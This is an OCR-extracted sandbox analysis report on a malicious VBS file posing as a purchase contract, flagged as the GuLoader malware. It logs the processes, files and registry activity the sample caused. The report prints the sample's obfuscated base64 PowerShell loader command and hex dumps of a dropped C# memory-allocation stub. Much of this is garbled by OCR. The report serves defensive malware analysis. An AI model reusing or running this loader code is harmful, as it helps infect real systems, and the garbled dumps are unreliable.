SHA512: 0145657682bbd7ba45f2c8f512ee11553ebaf20eeffb47f271f0e1b7e5882248488509e5ba6a789ef41d60e76achb7a94110491a592359b2db4671f1bc3d759f
SSDEEP: 1536:c08xz3WxNgaStVyjKTIMYxFc87GPm3Uggbnins:clxzZ3WbmdSYxFJagBgbis

File Content ‘benedick snee Bandanasd4 Parasitadr brontean Udtry Jvningern1 mhorrco thoriated kult Nunti stnke Antiparab ROVSING PALEOANTH udfordring TUNGM KRONPRIN
Preview: S precon TEGNING Ablatitio ESOTE STVN ..'strans Unca5 CAPRIFI Obbligatol isce Raiiformn2 Bluchershi6é Ren

File lcon

Icon Hash: e8d69ece869a9ec4

Network Behavior

©@ No network behavior found

Statistics

Behavior

@ wscript.exe

@ powershell.exe
@ conhost.exe

@ csc.exe

@ cvtres.exe
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@

System Behavior

Click to jump to process

Analysis Process: wscript.exe PID: 4676, Parent PID: 3440

General

Target ID: 1

Start time: 15:01:14

Start date: 26/01/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\tregrene-KaufVertraeg-JoachimSvensson-23564334.vbs"
Imagebase: 0x7ff62b150000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion

File Path Offset Length Completion

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion

Key Path Name Type Data Completion

Analysis Process: powershell.exe PID: 7148, Parent PID: 4676

General

Target ID: 5

Start time: 15:01:26

Start date: 26/01/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Copyright Joe Security LLC 2022

Count Source Address Symbol

Count Source Address Symbol

Count Source Address Symbol

Count Source Address Symbol
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Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Users\user

C:\Users\user\AppData\Roaming

Copyright Joe Security LLC 2022

true

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoEXxit -EncodedCommand "IwBIAHIAaAB2AGUAcgB2AHMAawB1ACAATABI
AGO0AZQBzAHYAZQBUAGQAZQA5ACAAQQBYAGMAaABhAGKAOAAgAFMAY QBnAHMAIABKAHIAbwBzAGgAawBpAGUACWBOACAAbBABhAGAA
ZABzAGSAYQAgAHCcAaQBOAGMAaABIAGUADAAGAEgAeQBKAHIAYQBUAHQAIABTAGMAJQBSAGWACWBIAGEAIABhAGKACgBIAHUACgBZAHQAdQAgAH
IAZQBOAHIAaQBIAHUAJABVACAAZABhAGCACABhAGEAZgB1ACAAVQBQAFQASABSACAAbQBVAHIACABPAGB8AbgBMACAADQAKAEEAZABKACOAVABS
AHAAZQAgACOAVABSAHAAZQBEAGUAZgBPAG4AaQBOAGKAbWBUACAAQAAIAAOACYBIAHMAAQBUAGCAIABTAHKACWBOAGUADQA7AAOA
CgB1AHMAaQBUAGCAIABTAHKACWBOAGUABQAUAFIAdQBUAHQAaQBIAGUALYBIAGAAJABIAHIAbWBWAFMAZQBYAHYAaQBJAGUACWA7AAOACYBWAH
UAYgBSAGKAYWAgAHMAJABhAHQAaQBJACAAYWBSAGEAcWBZACAAUWBZAEQAWQBFAEOARQBOAEKAVAAXAAOACGB7AAOACYBbAEQADA
BSAEKAbQBWAGBACgBOACYAIgBUAHQAZABSAGWALYBKAGWADAAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAA
IABpAG4AdAAGAE4AdABBAGWADABVAGMAY QBOAGUAVYBPAHIAJABIAGEABABNAGUAbQBVAHIAeQA0AGKAbgBOACAAUWBZAEQAWQBF
AEOARQBOAEKAVAA2ACWACYBIAGYAIABIJAG4AdAAZADIAIABOAGEAJABLIAHIAOQASAGKAbgBOACAACWBIAHIAAQASAHIAZQBMACAASQBUAHQAMW
AyACAAUWBZAEQAWQBFAEOARQBOAEKAVAASAGKAbgBOACAAY QBKAGOAdQASAGKAbgBOACAAUWBZAEQAWQBFAEOARQBOAEKAVAA3AC
KAOWANAAOAWWBEAGWAbABJAGOACABVAHIAJAACACIAAQBZAGUACgAZADIALGBKAGWADAAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBj
ACAAZQB4AHQAZQBYAGAAIABJAGAAdABQAHQACYJAGAEMAY QBSAGWAVWBPAGAAZABVAHCAUABYAGBAYWBXACJAdQBPAGAAJAAGAHMA
ZQBYAHUANQASAGKAbgBOACAACWBIAHIAAQA2ACWAaQBUAHQAIABZAGUACgB1ADCALABPAG4AdAAGAHMAZQBYAHUAOAASAGKAbgBOACAACWBIAH
IAdQA5ACKAOWANAAOAWWBEAGWADABIAGOACABVAHIAdAAOACIAawBIAHIAbgBIAGWAMWAYAC4AZABSAGWAIgAPAFOACABLAGIADABpAGMAIABZ
AHQAYQBOAGKAYWAgAGUAeABOAGUACgBUACAAdgBVAGKAZAAGAFIAJABSAEOAbWB2AGUATQBIAGOAbWBYAHKAKABIAGAAdJABQAHQACgAgAHMAZQ
ByAHUAMQASAHIAZQBMACAASQBUAHQAMWAYACAACWBIAHIAAQAYACWAaQBUAHQAIABZAGUACgB1ADMAKQA7AAOACYBIAAOACHAIAE
AADQAKACMAZgBIAHIAbgAGAEMAQQBNAFAASABJAFIARQAJAEYASYBFAEQAUgBFAE4AIABDAEEAUABTAEKAQWBIAE4AIABTAGMAY QBYAGYAZQBkK
AGUAbgBOACAASQBUAHQAZQASACAAQQBaAFKATQAGAEYASQBHAFUAUGAJAEEAZgBNAGKAZgBOAHMAbgAZACAAdJQBUAHQARABVAHIA
bgBsACAAUWBhAHUAcwBzADMAIABOAESATABFACAASABIAGUAZABSAGUACWBZAGIAIABNAEKATYBFAFIAQQAGAFYAaQBUAGQAZABYAGUAdgBIAH
QAIABPAFAASABJAEQASQBPACAATQBBAECATYBFAFQASQBTAEUAIABNAGEAbBAB2ACAADQBPAGWAJABIAG4AZQBZzACAAWABFAE4ATW
AgAEEAbABSAGUANQAJAGAAbWBUAGOAbWBUAGKACWBOACAAIAANAAOAJABTAFKARABZAEUATQBFAE4ASQBUADMAPQAWADSADQAKAC
QAUWBZAEQAWQBFAEOARQBOAEKAVAA5ADOAMQAWADQAOAALADCANgA7AAOACIAKAFMAWQBEAFKARQBNAEUATYBIAFQAOAASAFSAUW
BZAEQAWQBFAEOARQBOAEKAVAAXAFOAOJABAE4AdABBAGWADABVAGMAY QBOAGUAVYBpAHIAJABLIAGEADABNAGUADBQBVAHIA€QAOAC
0AMQASAFsAcgBIAGYAXQAKAFMAWQBEAFKARQBNAEUATgBJAFQAMWASADAALABDAHIAZQBMAFOAJABTAFKARABZAEUATQBFAE4ASQ
BUADKALAAXADIAMgA4ADgALAA2ADQAKQANAAOCAJABTAHQAZQBUAGYAPQAOAECAZQBOACOASQBOAGUABQBQAHIAbWBWAGUACgBOAHKAIAALAFAA
YQBOAGQAIAAIAEgASWBDAFUAOgBCAFMAbwBMAHQAJWBhAHIAZQBCAEMADABPAHAAIGAPACAATWBUAGUADQAKAAOACYAKAFQAQQBM
AEEAUgAgADOAIABbAFMAeQBzAHQAZQBIAC4AQYB5AHQAZQBAFOAXQABADOAQWBYAGUAY QBOAGUASQBUAHMAJABhAG4AYWBIACGA
WwBTAHKACWBOAGUADQAUAEIAeQBOAGUAXQASACQAUWBOAGUAbgBMACAATABIAG4AZWBOAGAIAAVACAAMIAPAAOACIANAAOADQAK
AAOACYBGAGBACgA0ACQAaQA9ADAAOWAJACQAAQAJACOABABOACAAJABTAHQAZQBUAGYALGBMAGUAbgBNAHQAaAA7TACAAJABPACSA
PQAYACKADQAKAAKAeWANAAOCAIAAGACAAIAAGACAAIAAGACQAVABBAEWAQQBSAFSAJABPACBAMgBAACAAPQAgAFSAYWBVAG4AdgBIAHIAJABAAD
0AOgBUAGBAQYB5AHQAZQA0ACQAUWBOAGUAbgBMAC4AUWBLAGIACWBOAHIAAQBUAGCAKAAKAGKALAAGADIAKQASACAAMQA2ACKADQ
AKACAAIAAGACAATQANAAOADQAKAAOACYBMAGBACJAOACQATABS5AGSAaWBIAGQACYBIAGIAPQAWADSAIAAKAEWAEQBIrAGSAZQBKAHIABQBIACAA
LQBSAHQAIAAKAFQAQQBMAEEAUgAUAGMAbWB1AGAAdAAGADSAIAAKAEWAeQBrAGSAZQBKAHIADQBIACSAKWAPAAOACYB7AAOACIAJAADACYBbAF
MAWQBEAFKARQBNAEUATgBIJAFQAMQBAADOAOgBSAHQADABNAGBAdYBIAEOAZQBAGBACYGBSACJAJABTAFKARABZAEUATQBFAE4ASQ
BUADMAKWAKAEWAeQBrAGSAZQBKAHIAbQBIACWAWWBYAGUAZgBAACQAVABBAEWAQQBSAFSAJABMAHKAawBrAGUAZABYAGOAYgBdAC
WAMQAPAAOACYANAAOAFQANAAOAWWBTAFKARABZAEUATQBFAE4ASQBUADEAXQABADOAQWBhAGWADABXAGKAbgBKAGBAdWBQAHIAbw
BjAFCAKAAKAFMAWQBEAFKARQBNAEUATgBIAFQAMWASACAAMAASADAALAAWACWAMAAPAAOACIGANAACADQAKAA==

0xd30000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000005.00000002.893175053.00000000099B0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

high

Access Attributes Options Completion Count Source Address Symbol
read data or list  device directory file | object name collision 1 6DD95B28 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 6DD95B28 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 6EEECFO06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 6EEECFO06 unknown

directory |
synchronize

synchronous io
non alert | open
for backup ident
| open reparse
point
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\Documents\20220126 read data or list  device directory file | success or wait 1 6DE3BEFF CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident
| open reparse

point

C:\Users\user\Documents\20220126\PowerShell_transcr read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
ipt.813435.4Hmbfafm.20220126150134.txt synchronize | non alert | non

generic read | directory file |

generic write open no recall
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 6DE31E60 CreateFileW
iptPolicyTest_gz54gho0.0ha.ps1 synchronize | synchronous io

generic write non alert | non

directory file |
open no recall

C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 6DE31E60 CreateFileW
iptPolicyTest_50402mhb.iix.psm1 synchronize | synchronous io
generic write non alert | non

directory file |
open no recall

C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
crosoft\Windows\PowerShell\ModuleAnalysisCache synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\ejetful0 read data or list ~ device directory file | success or wait 1 6D5BFF3C CreateDirect
directory | synchronous io oryA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.tmp read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.0.cs read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.dll read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
mp\ejetfulO\ejetful0.cmdline synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.out read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.err read attributes |  device synchronous io  success or wait 1 6DE31E60 CreateFilew
synchronize | non alert | non
generic write directory file |

open no recall

File Deleted

File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_gz54gho0.0ha.ps1 success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_50402mhb.iix.psm1 success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.0.cs success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.out success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.err success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.tmp success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.cmdline success or wait 1 6DE36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.dll success or wait 1 6DE36A95 DeleteFilew
File Written

File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\Documents\202201 0 8 ff success or wait 1 6DE31B4F WriteFile

26\PowerShell_transcr
ipt.813435.4Hmbfafm.2022012615013
4.txt
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File Path

C:\Users\user\Documents\202201
26\PowerShell_transcr
ipt.813435.4Hmbfafm.2022012615013
4.txt

C:\Users\user\Documents\202201
26\PowerShell_transcr
ipt.813435.4Hmbfafm.2022012615013
4.txt

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_gz54gho0.0ha.ps1

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_50402mhb.iix.psm1

Copyright Joe Security LLC 2022

Offset

3

4099

Length Value

4096

406

2a2a2a?2a2a?2a?2a?a
2a 2a2a?2a2a?2a?2a?a
2a 2a 2a2a2a2a0d0a
57 69 6e 64 6f 77 73 20
50 6f 77 65 72 53 68 65
6c 6¢ 20 74 72 61 6e 73
6372697074207374
61 72 74 0d 0a 53 74 61
72 74 20 74 69 6d 65 3a
2032303232303132
36 31 35 30 31 35 36 0d
0a 55 73 65 72 6e 61 6d
65 3a 20 44 45 53 4b 54
4f 50 2d 37 31 36 54 37
37 31 5¢c 65 6e 67 69 6e
65 65 72 0d 0a 52 75 6e
4173 2055736572 3a
20 44 45 53 4b 54 4f 50
2d 37 31 36 54 37 37 31
5c 65 6e 67 69 6e 65 65
72 0d Oa 43 6f 6e 66 69
67 75 72 61 74 69 6f 6e
20 4e 61 6d 65 3a 20 0d
Oa 4d 61 63 68 69 6e 65
3a20383133343335
20 28 4d 69 63 72 6f 73
6f 66 74 20 57 69 6e 64
6f 77 73 20 4e 54 20 31
30 2e 30 2e 31 37 31 33
34 2e 30 29 0d Oa 48 6f
737420 41 70 70 6¢ 69
63 61 74 69 6f 6e 3a

774162414258 41 47
6b 41 62 67 42 6b 41 47
384164 7742514148
49 41 62 77 42 6a 41 46
63 41 4b 41 41 6b 41 46
4d 41 57 51 42 45 41 46
6b 41 52 51 42 4e 41 45
5541 54 67 42 4a 41 46
5141 4d 77 41 7341 43
4141 4d 41417341 44
41414c4141774143
7741 4d 41417041 41
30414367414e4141
6f 41 44 51 41 4b 41 41
3d 3d 0d Oa 50 72 6f 63
65 73 73 20 49 44 3a 20
37 31 34 38 0d 0a 50 53
56 65 72 73 69 6f 6e 3a
20352e 312e 313731
33 34 2e 31 0d 0a 50 53
45 64 69 74 69 6f 6e 3a
20 44 65 73 6b 74 6f 70
0d 0a 50 53 43 6f 6d 70
61 74 69 62 6¢ 65 56 65
72 73 69 6f 6e 73 3a 20
31 2e 30 2¢ 20 32 2e 30
2c 20 33 2e 30 2¢ 20 34
2e 30 2¢ 20 35 2e 30 2¢
20352e312e 313731
3334 2e 31 0d 0a 42 75
69 6¢ 64 56 65 72 73 69
6f 6e 3a 20 31 30 2e

31

31

Ascii Completion Count Source Address

**********************Windo success or Wa't 2
ws PowerShell transcript
startStart time:
20220126150156Userna
me: computer\userRunAs
User:
computer\userConfigurati
on Name: Machine:
813435 (Microsoft
Windows NT
10.0.17134.0)Host
Application:

6DE31B4F

WAbABXAGKAbgBKAGS8  success or wait 13 6DE31B4F
AdwBQAHIAbwB|
AFCAKAAKAFMAWQBE
AFKARQBNAEUATg
BJAFQAMWASACAAMA
AsADAALAAWACWA
MAAPAAOACGANAACAD
QAKAA==Process ID:
7148PSVersion:
5.1.17134.1PSEdition:
DesktopPSCompatib
leVersions: 1.0, 2.0, 3.0,
4.0, 5.0,
5.1.17134.1BuildVersion:
10.

1 success or wait 1 6DE31B4F

1 success or wait 1 6DE31B4F

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

Copyright Joe Security LLC 2022

Offset

0

4096

Length Value

4096

1733

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 08 00
00 00 fd 3c fd 65 9f fd 08
59 00 00 00 43 3a 5c 50
72 6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78 38
36 29 5¢ 57 69 6e 64 6f
77 73 50 6f 77 65 72 53
68 65 6¢ 6¢ 5¢ 4d 6f 64
75 6¢ 65 73 5¢ 50 6f 77
65 72 53 68 65 6¢ 6C 47
65 74 5¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65 72
53 68 65 6¢ 6¢ 47 65 74
2e 70 73 64 31 1d 00 00
00 10 00 00 00 55 6e 69
6e 73 74 61 6¢ 6¢ 2d 4d
6f 64 75 6¢ 65 02 00 00
00 04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00 00
00 66 69 6d 6f 01 00 00
00 Oe 00 00 00 49 6e 73
74 61 6¢ 6¢ 2d 4d 6f 64
75 6¢ 65 02 00 00 00 12
00 00 00 4e 65 77 2d 53
63 72 69 70 74 46 69 6C
65 49 6e 66 6f 02 00 00
00 Oe 00 00 00 50 75 62
6¢ 69 73 68 2d 4d 6f 64
75 6¢ 65 02 00 00 00 Oe
00 00 00 49 6e 73 74 61
6¢c 6¢ 2d 53 63

4d 69 63 72 6f 73 6f 66
74 2e 50 6f 77 65 72 53
68 65 6¢C 6¢ 2e 55 74 69
6C 69 74 79 5c 4d 69 63
72 6f 73 6f 66 74 2e 50 6f
77 65 72 53 68 65 6¢C 6
2e 55 74 69 6¢ 69 74 79
2e 70 73 64 31 6d 00 00
00 0f 00 00 00 52 65 6d
6f 76 65 2d 56 61 72 69
61 62 6¢ 65 08 00 00 00
0Oe 00 00 00 43 6f 6e 76
65 72 74 2d 53 74 72 69
6e 67 08 00 00 00 0d 00
00 00 54 72 61 63 65 2d
43 6f 6d 6d 61 6e 64 08
00 00 00 Ob 00 00 00 53
6f 72 74 2d 4f 62 6a 65
63 74 08 00 00 00 14 00
00 00 52 65 67 69 73 74
65 72 2d 4f 62 6a 65 63
74 45 76 65 6e 74 08 00
00 00 Oc 00 00 00 47 65
74 2d 52 75 6e 73 70 61
63 65 08 00 00 00 Oc 00
00 00 46 6f 72 6d 61 74
2d 54 61 62 6¢ 65 08 00
00 00 0d 00 00 00 57 61
69 74 2d 44 65 62 75 67
67 65 72 08 00 00 00 11
00 00 00 47 65 74 2d 52
75 6e 73 70 61 63

Ascii Completion Count Source Address

PSMODULECACHE<eY
C:\Program Files
(x86)\WindowsPowerShel
\Mod
ules\PowerShellGet\1.0.0
.1\Pow
erShellGet.psd1Uninstall-
Moduleinmofimolnstall-
ModuleNew-scr
iptFilelnfoPublish-
Modulelnstall-Sc

success or wait 1 6DE31B4F

Microsoft.PowerShell. Utili
ty\M
icrosoft.PowerShell. Utility
.psdilmRemove-
VariableConvert-Stri
ngTrace-CommandSort-
ObjectRegister-
ObjectEventGet-
RunspaceFormat-
TableWait-DebuggerGet-
Runspac

success or wait 2 6DE31B4F

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\ejetfulO\ejetful0.0.cs

C:\Users\user\AppData\Local\Te
mp\ejetfulO\ejetful0.cmdline

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

490

375

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
75 73 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d 0a 70
75 62 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢C 61
73 73 20 53 59 44 59 45
4d 45 4e 49 54 31 0d Oa
7b 0d Oa 5b 44 6¢ 6¢ 49
6d 70 6f 72 74 28 22 6e
74 64 6¢ 6C 2e 64 6¢ 6¢
22 29 5d 70 75 62 6¢ 69
6320 73 74 61 74 69 63
20 65 78 74 65 72 6e 20
69 6e 74 20 4e 74 41 6¢
6c 6f 63 61 74 65 56 69
72 74 75 61 6¢ 4d 65 6d
6f 72 79 28 69 6e 74 20
53 59 44 59 45 4d 45 4e
49 54 36 2c 72 65 66 20
49 6e 74 33 32 20 4e 61
7475 72 39 2c 69 6e 74
2073 6572 75 2¢ 72 65
66 20 49 6e 74 33 32 20
53 59 44 59 45 4d 45 4e
49 54 2¢ 69 6e 74 20 61
64 6a 75 2c 69 6e 74 20
53 59 44 59 45 4d 45 4e
4954 37 29 3b

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 73 65 72 73 5¢
65 6e 67 69 6e 65 65 72
5c 4170 70 44 61 74 61
5c 4c 6f 63 61 6¢ 5¢ 54
65 6d 70 5¢c 65 6a 65 74
66 75 6¢ 30

Ascii Completion Count Source Address

using System;using success or wait 1 6DE31B4F
System.Runt
ime.InteropServices;publi
c static class
SYDYEMENITL{[DIlllmpo
rt("ntdll.dll")]public static
extern int
NtAllocateVirtualMe
mory(int
SYDYEMENIT6,ref Int32
Natur9,int seru,ref Int32
SYDYEMENIT,int adju,int
SYDYEMENIT7);

[t:library /utf8output success or wait 1 6DE31B4F
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\ejetful0

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te

mp\ejetfulO\ejetful0.out

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod

uleAnalysisCache

Offset

0

0

Length Value

464

4096

ff 43 3a 5¢ 55 73 65 72
73 5¢ 65 6e 67 69 6e 65
65 72 5¢ 44 65 73 6b 74
6f 70 3e 20 22 43 3a 5c
57 69 6e 64 6f 77 73 5¢
4d 69 63 72 6f 73 6f 66
74 2e 4e 4554 5c 46 72
61 6d 65 77 6f 72 6b 5¢
76 34 2e 30 2e 33 30 33
31 39 5¢ 63 73 63 2e 65
78 65 22 20 2f 74 3a 6¢
69 62 72 61 72 79 20 2f
75 74 66 38 6f 75 74 70
7574 20 2f 52 3a 22 53
79 73 74 65 6d 2e 64 6¢
6¢C 22 20 2f 52 3a 22 43
3a 5¢ 57 69 6e 64 6f 77
73 5c 4d 69 63 72 6f 73
6f 66 74 2e 4e 65 74 5¢
61 73 73 65 6d 62 6¢ 79
5c 47 41 43 5f 4d 53 49
4c 5¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 5¢c 76
34 2e 30 5f 33 2e 30 2e
30 2e 30 5f 5f 33 31 62
66 33 38 35 36 61 64 33
36 34 65 33 35 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 08 00
00 00 fd 3c fd 65 9f fd 08
59 00 00 00 43 3a 5c 50
72 6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78 38
36 29 5¢c 57 69 6e 64 6f
77 73 50 6f 77 65 72 53
68 65 6¢ 6¢ 5¢ 4d 6f 64
75 6¢ 65 73 5¢ 50 6f 77
65 72 53 68 65 6¢ 6C 47
65 74 5¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65 72
53 68 65 6¢ 6¢ 47 65 74
2e 70 73 64 31 1d 00 00
00 10 00 00 00 55 6e 69
6e 73 74 61 6¢ 6¢ 2d 4d
6f 64 75 6¢ 65 02 00 00
00 04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00 00
00 66 69 6d 6f 01 00 00
00 Oe 00 00 00 49 6e 73
74 61 6c 6¢ 2d 4d 6f 64
75 6¢ 65 02 00 00 00 12
00 00 00 4e 65 77 2d 53
63 7269 70 74 46 69 6¢C
65 49 6e 66 6f 02 00 00
00 Oe 00 00 00 50 75 62
6c 69 73 68 2d 4d 6f 64
75 6¢ 65 02 00 00 00 Oe
00 00 00 49 6e 73 74 61
6¢ 6¢ 2d 53 63

File Read

File Path Offset
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown

Copyright Joe Security LLC 2022

Ascii Completion Count Source Address

C:\Users\user\Desktop>  success or wait 1 6DE31B4F

"C:\Win

dows\Microsoft.NET\Fra

mework\v

4.0.30319\csc.exe"”

[t:library /utf8output

/R:"System.dll" /R

:"C:\Windows\Microsoft.N

et\ass

embly\GAC_MSIL\Syste

m.Manageme

nt.Automation\v4.0_3.0.0.

0_31

bf3856ad364e35\System.

Management.Autom

PSMODULECACHE<eY  success or wait 1 6DE31B4F

C:\Program Files

(x86)\WindowsPowerShel

\Mod

ules\PowerShellGet\1.0.0

.1\Pow

erShellGet.psd1Uninstall-

Moduleinmofimolnstall-

ModuleNew-scr

iptFileinfoPublish-

Modulelnstall-Sc
Length Completion Count Source Address
4095 success or wait 1 6EEC5705
8173 end of file 1 6EEC5705
4095 success or wait 1 6EEC5705
6135 success or wait 1 6EEC5705
176 success or wait 1 6EE203DE
4095 success or wait 1 6EECCA54
8173 end of file 1 6EECCA54
4095 success or wait 1 6EECCA54
900 success or wait 1 6EE203DE
620 success or wait 1 6EE203DE
4095 success or wait 1 6EEC5705

Symbol

WriteFile

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6EEC5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6EEC5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6EEC5705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6EE203DE ReadFile

19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

